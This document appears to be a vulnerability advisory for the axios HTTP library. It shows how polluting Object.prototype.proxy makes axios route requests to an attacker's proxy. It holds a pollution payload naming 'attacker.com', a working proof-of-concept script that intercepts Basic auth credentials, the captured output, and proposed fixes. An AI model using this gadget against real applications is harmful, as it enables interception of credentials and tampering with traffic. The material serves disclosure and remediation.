Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
2. defaultToConfig2 for proxy is never called
3. The merged config has no own proxy property
4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
  auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});

3. The Execution

At http.js:668-670:

setProxy(
  options,
  config.proxy,    // ← traverses prototype chain → finds polluted proxy
  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);

setProxy() at http.js:191-239 then:

function setProxy(options, configProxy, location) {
  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }
  // ...
  if (proxy) {
    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'
    options.port = proxy.port;                         // → 8080
    options.path = location;                           // → full URL as path
    // ...
  }
}

4. The Impact (Full MITM)

The attacker's proxy server receives:

GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:

• Sees every request URL, header, and body
• Modifies every response (inject malicious data, change auth results)
• Logs all API keys, session tokens, and passwords
• Operates as an invisible proxy — the developer has no indication

5. Verified PoC Code

import http from 'http';
import axios from './index.js';

// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
  intercepted.push({
    url: req.url,
    authorization: req.headers.authorization,
    headers: req.headers,
  });
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Real target server
const realServer = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;

// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
  auth: { username: 'admin', password: 'SuperSecret123!' }
});

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy;
realServer.close();
proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution):
    Response source: real server
    response.data: {"data":"from-real-server"}
    Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy
    Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL):
    Response source: ATTACKER PROXY!
    response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy:
    Full URL: http://127.0.0.1:50878/api/secrets
    Host: 127.0.0.1:50878
    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
    All headers: {
      "accept": "application/json, text/plain, */*",
      "user-agent": "axios/1.15.0",
      "accept-encoding": "gzip, compress, deflate, br",
      "host": "127.0.0.1:50878",
      "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
      "connection": "keep-alive"
    }

[5] Attacker capabilities demonstrated:
    ✓ Full URL visible (including internal hostnames)
    ✓ Authorization header visible (Base64-encoded credentials)
    ✓ Can modify/forge response data
    ✓ Affects ALL axios HTTP requests (not just a single instance)
    ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

• Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
• Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
• Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
• Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
• Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
• Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios_26)

Recommended Fix

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact:

• config.proxy — MITM
• config.socketPath — Unix socket SSRF
• config.transport — request hijack
• config.lookup — DNS hijack
• config.beforeRedirect — redirect manipulation
• config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

// In lib/core/mergeConfig.js
const config = Object.create(null);

Resources

• CWE-1321: Prototype Pollution
• CWE-441: Unintended Proxy
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
• Axios GitHub Repository

Timeline